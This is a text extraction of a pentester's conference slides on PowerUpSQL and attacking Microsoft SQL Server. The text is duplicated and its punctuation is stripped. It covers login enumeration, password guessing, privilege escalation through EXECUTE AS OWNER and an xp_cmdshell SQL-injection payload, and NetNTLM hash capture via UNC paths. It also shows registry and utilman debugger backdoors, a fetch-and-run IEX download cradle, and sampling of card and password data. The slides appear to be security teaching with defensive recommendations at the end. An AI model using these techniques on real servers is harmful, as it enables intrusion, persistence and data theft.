select n [id] SUSER_NAME(n) [user_name]from ( select top 10000 row_number() over(order by t1number) as Nfrom masterspt_values t1 cross join masterspt_values t2) awhere SUSER_NAME(n) is not null
Code gifted from mobileckSource httpsgistgithubcomConstantineKc6de5d398ec43bab1a29ef07e8c21ec7
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
Domain of SQL Server
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
Full RID of Domain Admins
group
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID RID = 0x0105000000000005150000009CC30DD479441EDEB31027D000020000 SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID
4 Create new RID with by appending a hex number value and the SID
1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID
4 Create new RID with by appending a hex number value and the SID
5 Use ldquosuser_namerdquo function to get domain object name
1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID
4 Create new RID with by appending a hex number value and the SID
5 Use ldquosuser_namerdquo function to get domain object name
6 Increment and repeat
1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
Escalating Privileges DEMO
DEMOGet-SQLFuzzServerLogin
Invoke-SQLAuditWeakLoginPw
Get-SQLFuzzDomainAccount
Escalating Privileges Impersonation1 Impersonate Privilege
a Server EXECUTE AS LOGIN
b Database EXECUTE AS USER
2 Stored Procedure and Trigger Creation Injection Issues
a EXECUTE AS OWNER
b Signed with cert login
3 Automatic Execution of Stored Procedures
4 Agent Jobs
5 xp_cmdshell proxy acount
6 Create Databse Link to File or Server
7 Import Install Custom Assemblies
8 Ad-Hoc Queries
9 Shared Service Accounts
10 Database Links
11 UNC Path Injection
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Prosbull Execute queriescommands in another user
context
Consbull Requires database to be configured as trustworthy
for OS command executionbull Commands and queries are not limited in any way
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
Prosbull Can execute queriescommands in another user contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATE
Consbull No granular control over the database ownerrsquos
privilegesbull DB_OWNER role can EXECUTE AS OWNER of the DB
which is often a sysadminbull Requires database to be configured as trustworthy for
OS command executionbull Impersonation can be done via SQL injection under
specific conditionsbull Impersonation can be done via command injection
under specific conditions
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
bull DB_OWNER role can impersonate the actual database owner
USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
bull DB_OWNER role can impersonate the actual database owner
USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO
SYSADMIN is often the
OWNER
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull Use signed Procedures
o Create stored procedure
o Create a database master key
o Create a certificate
o Create a login from the certificate
o Configure login privileges
o Sign stored procedure with certifiate
o GRANT EXECUTE to User
Prosbull Can execute queriescommands in another user
contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATEbull Granular control over permissionsbull Database does NOT have to be configured as
trustworthy for OS command execution
Consbull Impersonation can be done via SQL injection
under specific conditionsbull Impersonation can be done via command
injection under specific conditions
Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2
DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2
DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO
PURE EVIL
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example
EXEC MASTERdbosp_sqli2 masterEXEC masterxp_cmdshell whoami--
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example
Escalating Privileges ImpersonationAutomatic Execution of Stored Procedure
bull Stored procedures ca be configured to execute when the SQL Server service restarts
Prosbull Marking a stored procedure to run when the SQL
Server service restarts has many use casesbull Only stored procedures in the master database
can be marked for auto execution
Consbull No granular control over what context the startup
command is executed inbull All stored procedures marked for auto execution
are executed as lsquosarsquo even if lsquosarsquo is disabledbull Any non sysadmin access to stored procedures
can lead to execution as lsquosarsquo
Escalating Privileges DEMO
DEMOInvoke-SQLAudit
Escalating Privileges Invoke-SQLPrivEsc
Whooray for Automation Demo
Escalating Privileges DEMO
DEMOInvoke-SQLEscalatePriv
Escalating Privileges Invoke-SQLPrivEsc
DEMO
EscalatingPrivileges
SysAdmin to Service Account
Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation
Executing OS Commands xp_cmdshell Custom Assemblies (net) Custom Extended Stored Procedures (C++) Agent Jobs
o ActiveX Vbscript Jscript and Othero CmdExeco PowerShello SSIS Package
Registry Autoruns File Autoruns
Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation
You donrsquot need to know the password crack a hash or PTH
Service Account Types Local User Local System Network Service Local managed service account Domain managed service account Domain User Domain Admin
Escalating Privileges SysAdmin to Service AccountBut wait therersquos morehellipRottenPotato DerbyCon 2016
- Authors Chris Mallz (vvalien1) amp Steve Breen (breenmachine)
- We can now escalation from service account to LocalSystem
- No patch that Irsquom aware of
Check out their blog for details
httpsfoxglovesecuritycom20160926rotten-potato-privilege-escalation-from-service-accounts-to-system
Escalating Privileges Invoke-SQLOSCmdInvoke-SQLOSCMD can be used for basic command execution
PS Cgt$Accessible | Invoke-SQLOSCmd ndashVerbose ndashCommand ldquowhoamirdquo ndashThreads 10 ComputerName Instance CommandResults --------------------- ----------- -------------- SQLServer1 SQLServer1SQLEXPRESS nt servicemssql$sqlexpress SQLServer1 SQLServer1STANDARDDEV2014 nt authoritysystem SQLServer1 SQLServer1 DomainSQLSvc
EscalatingPrivileges
Shared Service Accounts
Escalating Privileges Shared Service AccountsWhy should I care about shared service accounts
1 SysAdmins can execute OS commands2 OS commands run as the SQL Server service account 3 Service accounts have sysadmin privileges by default4 Companies often use a single domain account to run hundreds of SQL Servers5 So if you get sysadmin on one server you have it on all of them
One account to rule them all
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Access to HVA with shared domain service account
Key
HVA = High Value Application
LVA = Low Value Application
Execute commands and gather data from other
database servers via osql
3
Leveraging Shared MS SQL Server Service Accounts
EscalatingPrivileges
Crawling Server Links
Escalating Privileges Crawling Server LinksWhatrsquos a database link
Database links are basically persistent database connections for SQL Servers
Why should I care
Short answer = privilege escalation
Public role can use links to execute queries on remote servers (impersonation)
SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)
Stored procedures can be executed (xp_cmdshell)
Links can be crawled
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain EvilKey
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB Link with
SA account
DB1
LVA
Execute SQL queries and local commands on
database servers via nested linked services
2
Escalating Privileges Crawling Server Links
Penetration Test Stats
Database links exist (and can be crawled) in about 50 of environments wersquove seen
The max number of hops wersquove seen is 12
The max number of servers crawled is 226
Escalating Privileges Crawling Server Links
Old Script
2012 - httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler
New Script
scriptspendingGet-SqlServerLinkCrawlps1
Author Antti Rantasaari
Escalating Privileges Crawling Server Links
DEMO
Escalating Privileges Database Links
DEMO
Escalating Privileges Crawling Server Links
EscalatingPrivileges
UNC Path Injection
Escalating Privileges UNC Path Injection
UNC Path Injection Summary
UNC paths are used for accessing remote file servers like so 19216814file
Almost all procedures that accept a file path in SQL Server support UNC paths
UNC paths can be used to force the SQL Server service account to authenticate to an attacker
An attacker can then capture the NetNTLM password hash and crack or relay it
Relay becomes pretty easy when you know which SQL Servers are using shared accounts
Escalating Privileges UNC Path Injection
Escalating Privileges UNC Path Injection
Oh yeahhellip
By DEFAULT the PUBLIC role can execute (at least) two procedures that accept a file path
xp_dirtreexp_fileexists
Escalating Privileges UNC Path Injection
So in summaryhellip
The PUBLIC role can access the SQL Server service account NetNTLM
password hash by default
Escalating Privileges UNC Path Injection
But who really hasPUBLIC role access
Oh yeah a ton of domain users
Escalating Privileges DEMO
DEMOGet-SQLServiceAccountPwHashes
hellipwhat Itrsquos self descriptive
Escalating Privileges UNC Path Injection
DEMO
EscalatingPrivileges
OS Admin to SysAdmin
Escalating Privileges OS Admin to SysAdminTwo things to knowhellip
1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges
Escalating Privileges OS Admin to SysAdmin
Approach 2000 2005 2008 2012 2014 2016
LSA Secrets x x x x x x
Local Administrator x x
LocalSystem x x x
Process Migration x x x x x x
Token Stealing x x x x x X
Single User Mode x x x x x
Below are some options for leveraging that knowledge
Escalating Privileges OS Admin to SysAdminHere are some tool options
Approach Common Tools
Access as Local Administrator Management Studio sqlcmd and other native SQL client tools
Access as LocalSystem Psexec accessibility options debugger with native SQL client tools
Recover SQL Server service account password from LSA Secrets
Mimikatz Metasploit lsadump
Inject shellcode or DLL into the SQL Server service process
Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)
Steal Authentication Token From SQL Server service process
Metasploit Incognito Invoke-TokenManipulation
Single User Mode DBATools
Common Post Exploitation Activities
Post Exploitation OverviewCommon Post Exploitation Activities
1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc
2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples
3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS
tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)
Post Exploitation PersistenceTask Command Example
Registry Autorun Persistence
Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014
Debugger Backdoor Persistence
Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014
Post Exploitation Persistence
Post Exploitation Finding Sensitive DataTask Command Example
Locate Encrypted Databases
Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo
Locate and Sample Sensitive Columnsand Export to CSV
Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv
Post Exploitation Finding Sensitive Data
DEMO
Post Exploitation Finding Sensitive Data
DEMO
GeneralRecommendations
General RecommendationsThings to dohellip
1 Enforce least privilege everywhere
2 Disable dangerous default stored procedures
3 Audit and fix insecure configurations
4 Use policy based management for standardizing configurations
5 Enable auditing at the server and database levels and monitor for potentially malicious activity
PowerUpSQL Overview Thanks
Individual Third Party Code Direct Contributors
Boe Prox Runspace blogs
Warren F ( RamblingCookieMonster) Invoke-Parallel function
Oyvind Kallstad Test-IsLuhnValid function
Kevin Robertson Invoke-Inveigh
Joe Bialek Invoke-TokenManipulation
Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov
Contributions and QA
Khai Tran Design advice
NetSPI assessment team and dev team Design advice
Speaker Information
Name Scott Sutherland
Job Network amp Application Pentester NetSPI
Twitter _nullbind
Slides httpslidesharenetnullbindhttpslidesharenetnetspi
Blogs httpsblognetspicomauthorscott-sutherland
Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind
Presentation Overview Why SQL Server and PowerShell
PowerUpSQL Overview
Finding amp Accessing SQL Servers
Privilege Escalation Scenarioso Domain user to SQL Server logino SQL Server Login to Sysadmino Sysadmin to Windows Admino Windows Admin to Sysadmino Domain Escalation
Post Exploitation Activities
General Recommendations
Why SQL Server Used in most enterprise environments
Supports local Windows and Domain authentication
Integrates with lots of Windows applications
Generally has trust relationships that other donrsquot
Why PowerShell Native to Windows
Run commands in memory
Run managed net code
Run unmanaged code
Avoid detection by legacy Anti-virus
Already flagged as trusted by most application whitelist solutions
A medium used to write many open source Pentest toolkits
PowerUpSQL
PowerUpSQL Overview Project GoalsProject Goals (Get-Abilities)
Scalability via runspace threading Flexibility via pipeline support
ps objects and data tables Portability
o No SMO dependancieso Net Framework librarieso PowerShell v2 compliant (in theory)o Single file
Functional Goals Discover SQL Servers from different attacker perspectives Inventory SQL Servers quickly Audit SQL Servers for common insecure configurations Escalate privileges quickly on SQL Servers Support authentication using SQL Login or Windows Credential
PowerUpSQL Overview Functions
Primary Attack Functions Invoke-SQLDumpInfo Invoke-SQLAudit Invoke-SQLEscalatePriv Invoke-SQLOsCmd
httpsgithubcomNetSPIPowerUpSQLwikiCurrently about 60 Functions
PowerUpSQL Overview Where can I get it
GithubhttpsgithubcomnetspiPowerUpSQL
PowerShell GalleryhttpswwwpowershellgallerycompackagesPowerUpSQL
PowerUpSQL Overview How do I install it
GithubImport-Module PowerUpSQLpsd1
IEX(New-Object SystemNetWebClient)DownloadString(httpsrawgithubusercontentcomNetSPIPowerUpSQLmasterPowerUpSQLps1)
Execution policy work aroundshttpsblognetspicom15-ways-to-bypass-the-powershell-execution-policy
PowerShell GalleryInstall-Module -Name PowerUpSQL
SQL ServerBasics
SQL Server BasicsWhat is SQL Server
A database platform An application A set of Windows services Each instance has its own set of
services
SQL Server Basics Account TypesAccount Types
Windows Accountso Used to logino Mapped to SQL Server login
SQL Server Loginso Used to logino Mapped to database account
Database Userso Used to access databases
SQL Server Basics Common RolesImportant SQL Server Roles
Sysadmin role Database administrator account Think of it as the ldquoAdministratorsrdquo Windows group
but in SQL Server
Public role Only provides CONNECT permission Think of it as the ldquoEveryonerdquo Windows group but
in SQL Server
Finding SQL Servers
Find SQL Servers TechniquesAttacker Perspective Attack Technique
Unauthenticated List from file TCP port scan UDP port scan UDP broadcast Azure DNS dictionary attack (xdatabaseswindowsnet) Azure DNS lookup via public resources
Local User Services Registry entries
Domain User Service Principal Names Azure Portal PowerShell Modules
Find SQL Servers PowerUpSQLAttacker Perspective PowerUpSQL Function
Unauthenticated Get-SQLInstanceFile
Unauthenticated Get-SQLInstanceUDPScan
Local User Get-SQLInstanceLocal
Domain User Get-SQLInstanceDomain
Blog httpsblognetspicomblindly-discover-sql-server-instances-powerupsql
EscalatingPrivileges
Unauthenticated Domain User to SQL Login
Testing Login Access TechniquesWhat credentials can I use to log into discovered SQL Servers
Attacker Perspective Attack Technique
Unauthenticated Dictionary attacks using common user names and passwords
Unauthenticated Default passwords based on the SQL Server instance names
Local Windows or ADS Domain Account
Attempt to login using the current account
Testing Login Access PowerUpSQL CMDsWhat PowerUpSQL functions can I use to test for successful logins
Attack Technique PowerUpSQL Function
Dictionary Attack Invoke-SQLAuditWeakLoginPw
Default Password Test Invoke-SQLAuditDefaultLoginPw
Get-SQLServerLoginDefaultPw
Get-SQLInstanceDomain | Get-SQLServerLoginDefaultPw -Verbose
Local Windows or ADS Domain Account
Get-SQLConnectionTestThreaded
Testing Login Access PowerUpSQL CMDs
Testing Login Access Login CMD Examples
Attacker Perspective
Command Example
Unauthenticated Get-SQLInstanceUDPScan | Get-SQLConnectionTestThreaded -Verbose -Threads 15 -Username testuser -Password testpass
Local User Get-SQLInstanceLocal | Get-SQLConnectionTestThreaded -Verbose
Domain User Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15
AlternativeDomain User
runas noprofile netonly userdomainuser PowerShellexe
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15
Testing Login Access Reusing Result Lists
Process Command Example
Enumerate Accessible Servers
$Accessible = Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15 | Where-Object $_Status ndashlike ldquoAccessiblerdquo
Get server information $Acessible | Get-SQLServerInfo -Verbose
Get database list $Acessible | Get-SQLDatabase -Verbose
Perform audit $Acessible | Invoke-SQLAudit -Verbose
Do I have to rerun instance discovery every time I want to run a command No
Testing Login Access Domain User Access
DEMO
Testing Login Access Demo
DEMO
Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers
Admins give them access
Privilege inheritance issue on domain systems = Public role access
Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers
Admins give them access
Privilege inheritance issue on domain systems = Public role access
Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers
Admins give them access
Privilege inheritance issue on domain systems = Public role access
EscalatingPrivileges
SQL Login to SysAdmin
Escalating Privileges Weak PasswordsDidnrsquot we just cover this Yes but therersquos morehellip
Technique PowerUpSQL Function
Dictionary Attack Invoke-SQLAuditWeakLoginPw
Default Password Test Invoke-SQLAuditDefaultLoginPw
Local Windows or ADS Domain Account
Get-SQLConnectionTestThreaded
Escalating Privileges Weak Passwordshellipwe can also enumerate SQL Server logins and Domain Accounts
Technique PowerUpSQL Function
Blind Login Enumeration+
Dictionary Attack =
Super Cool
Invoke-SQLAuditWeakLoginPw
bull Enumerate all SQL Server logins with the Public role
bull Enumerate all domain accounts with the Public role
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
2 Get principal id for the sa account with ldquosuser_idrdquo
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
2 Get principal id for the sa account with ldquosuser_idrdquo
3 Use ldquosuser_namerdquo to get SQL logins using just principal ID
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
2 Get principal id for the sa account with ldquosuser_idrdquo
3 Use ldquosuser_namerdquo to get SQL logins using just principal ID
4 Increment number and repeat
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
2 Get principal id for the sa account with ldquosuser_idrdquo
3 Use ldquosuser_namerdquo to get SQL logins using just principal ID
4 Increment number and repeat
select n [id] SUSER_NAME(n) [user_name]from ( select top 10000 row_number() over(order by t1number) as Nfrom masterspt_values t1 cross join masterspt_values t2) awhere SUSER_NAME(n) is not null
Code gifted from mobileckSource httpsgistgithubcomConstantineKc6de5d398ec43bab1a29ef07e8c21ec7
Escalating Privileges Weak Passwords
select n [id] SUSER_NAME(n) [user_name]from ( select top 10000 row_number() over(order by t1number) as Nfrom masterspt_values t1 cross join masterspt_values t2) awhere SUSER_NAME(n) is not null
Code gifted from mobileckSource httpsgistgithubcomConstantineKc6de5d398ec43bab1a29ef07e8c21ec7
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
Domain of SQL Server
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
Full RID of Domain Admins
group
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID RID = 0x0105000000000005150000009CC30DD479441EDEB31027D000020000 SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID
4 Create new RID with by appending a hex number value and the SID
1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID
4 Create new RID with by appending a hex number value and the SID
5 Use ldquosuser_namerdquo function to get domain object name
1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID
4 Create new RID with by appending a hex number value and the SID
5 Use ldquosuser_namerdquo function to get domain object name
6 Increment and repeat
1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
Escalating Privileges DEMO
DEMOGet-SQLFuzzServerLogin
Invoke-SQLAuditWeakLoginPw
Get-SQLFuzzDomainAccount
Escalating Privileges Impersonation1 Impersonate Privilege
a Server EXECUTE AS LOGIN
b Database EXECUTE AS USER
2 Stored Procedure and Trigger Creation Injection Issues
a EXECUTE AS OWNER
b Signed with cert login
3 Automatic Execution of Stored Procedures
4 Agent Jobs
5 xp_cmdshell proxy acount
6 Create Databse Link to File or Server
7 Import Install Custom Assemblies
8 Ad-Hoc Queries
9 Shared Service Accounts
10 Database Links
11 UNC Path Injection
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Prosbull Execute queriescommands in another user
context
Consbull Requires database to be configured as trustworthy
for OS command executionbull Commands and queries are not limited in any way
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
Prosbull Can execute queriescommands in another user contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATE
Consbull No granular control over the database ownerrsquos
privilegesbull DB_OWNER role can EXECUTE AS OWNER of the DB
which is often a sysadminbull Requires database to be configured as trustworthy for
OS command executionbull Impersonation can be done via SQL injection under
specific conditionsbull Impersonation can be done via command injection
under specific conditions
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
bull DB_OWNER role can impersonate the actual database owner
USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
bull DB_OWNER role can impersonate the actual database owner
USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO
SYSADMIN is often the
OWNER
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull Use signed Procedures
o Create stored procedure
o Create a database master key
o Create a certificate
o Create a login from the certificate
o Configure login privileges
o Sign stored procedure with certifiate
o GRANT EXECUTE to User
Prosbull Can execute queriescommands in another user
contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATEbull Granular control over permissionsbull Database does NOT have to be configured as
trustworthy for OS command execution
Consbull Impersonation can be done via SQL injection
under specific conditionsbull Impersonation can be done via command
injection under specific conditions
Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2
DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2
DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO
PURE EVIL
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example
EXEC MASTERdbosp_sqli2 masterEXEC masterxp_cmdshell whoami--
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example
Escalating Privileges ImpersonationAutomatic Execution of Stored Procedure
bull Stored procedures ca be configured to execute when the SQL Server service restarts
Prosbull Marking a stored procedure to run when the SQL
Server service restarts has many use casesbull Only stored procedures in the master database
can be marked for auto execution
Consbull No granular control over what context the startup
command is executed inbull All stored procedures marked for auto execution
are executed as lsquosarsquo even if lsquosarsquo is disabledbull Any non sysadmin access to stored procedures
can lead to execution as lsquosarsquo
Escalating Privileges DEMO
DEMOInvoke-SQLAudit
Escalating Privileges Invoke-SQLPrivEsc
Whooray for Automation Demo
Escalating Privileges DEMO
DEMOInvoke-SQLEscalatePriv
Escalating Privileges Invoke-SQLPrivEsc
DEMO
EscalatingPrivileges
SysAdmin to Service Account
Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation
Executing OS Commands xp_cmdshell Custom Assemblies (net) Custom Extended Stored Procedures (C++) Agent Jobs
o ActiveX Vbscript Jscript and Othero CmdExeco PowerShello SSIS Package
Registry Autoruns File Autoruns
Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation
You donrsquot need to know the password crack a hash or PTH
Service Account Types Local User Local System Network Service Local managed service account Domain managed service account Domain User Domain Admin
Escalating Privileges SysAdmin to Service AccountBut wait therersquos morehellipRottenPotato DerbyCon 2016
- Authors Chris Mallz (vvalien1) amp Steve Breen (breenmachine)
- We can now escalation from service account to LocalSystem
- No patch that Irsquom aware of
Check out their blog for details
httpsfoxglovesecuritycom20160926rotten-potato-privilege-escalation-from-service-accounts-to-system
Escalating Privileges Invoke-SQLOSCmdInvoke-SQLOSCMD can be used for basic command execution
